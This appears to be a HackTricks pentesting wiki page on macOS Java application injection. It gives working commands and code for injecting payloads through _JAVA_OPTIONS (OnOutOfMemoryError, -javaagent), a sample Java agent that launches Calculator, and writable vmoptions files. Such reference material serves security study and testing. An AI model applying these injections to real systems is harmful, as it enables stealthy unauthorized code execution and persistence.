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https://github.com/carlospolop/hacktricks
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178 lines
8.5 KiB
Markdown
178 lines
8.5 KiB
Markdown
# macOS Java Applications Injection
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Enumeration
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Find Java applications installed in your system. It was noticed that Java apps in the **Info.plist** will contain some java parameters which contain the string **`java.`**, so you can search for that:
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```bash
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# Search only in /Applications folder
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sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
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# Full search
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sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
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```
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## \_JAVA\_OPTIONS
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The env variable **`_JAVA_OPTIONS`** can be used to inject arbitrary java parameters in the execution of a java compiled app:
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```bash
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# Write your payload in a script called /tmp/payload.sh
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export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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```
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To execute it as a new process and not as a child of the current terminal you can use:
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```objectivec
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#import <Foundation/Foundation.h>
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// clang -fobjc-arc -framework Foundation invoker.m -o invoker
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int main(int argc, const char * argv[]) {
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@autoreleasepool {
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// Create a new task
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NSTask *task = [[NSTask alloc] init];
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/// Set the task's launch path to use the 'open' command
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[task setLaunchPath:@"/usr/bin/open"];
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// Arguments for the 'open' command, specifying the path to Android Studio
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[task setArguments:@[@"/Applications/Android Studio.app"]];
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// Define custom environment variables
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NSDictionary *customEnvironment = @{
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@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
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};
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// Get the current environment and merge it with custom variables
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NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
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[environment addEntriesFromDictionary:customEnvironment];
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// Set the task's environment
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[task setEnvironment:environment];
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// Launch the task
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[task launch];
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}
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return 0;
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}
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```
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However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use:
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```bash
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export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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# Or
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open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
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```
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{% hint style="danger" %}
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Creating the agent with a **different Java version** from the application can crash the execution of both the agent and the application
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{% endhint %}
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Where the agent can be:
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{% code title="Agent.java" %}
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```java
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import java.io.*;
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import java.lang.instrument.*;
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public class Agent {
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public static void premain(String args, Instrumentation inst) {
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try {
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String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
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Runtime.getRuntime().exec(commands);
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}
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catch (Exception err) {
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err.printStackTrace();
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}
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}
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}
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```
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{% endcode %}
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To compile the agent run:
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```bash
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javac Agent.java # Create Agent.class
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jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
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```
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With `manifest.txt`:
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```
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Premain-Class: Agent
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Agent-Class: Agent
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Can-Redefine-Classes: true
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Can-Retransform-Classes: true
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```
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And then export the env variable and run the java application like:
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```bash
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export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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# Or
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open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
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```
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## vmoptions file
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This file support the specification of **Java params** when Java is executed. You could use some of the previous tricks to change the java params and **make the process execute arbitrary commands**.\
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Moreover, this file can also **include others** with the `include` directory, so you could also change an included file.
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Even more, some Java apps will **load more than one `vmoptions`** file.
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Some applications like Android Studio indicates in their **output where are they looking** for these files, like:
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```bash
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/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
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2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
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2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
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```
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If they don't you can easily check for it with:
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```bash
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# Monitor
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sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
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# Launch the Java app
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/Applications/Android\ Studio.app/Contents/MacOS/studio
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```
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Note how interesting is that Android Studio in this example is trying to load the file **`/Applications/Android Studio.app.vmoptions`**, a place where any user from the **`admin` group has write access.**
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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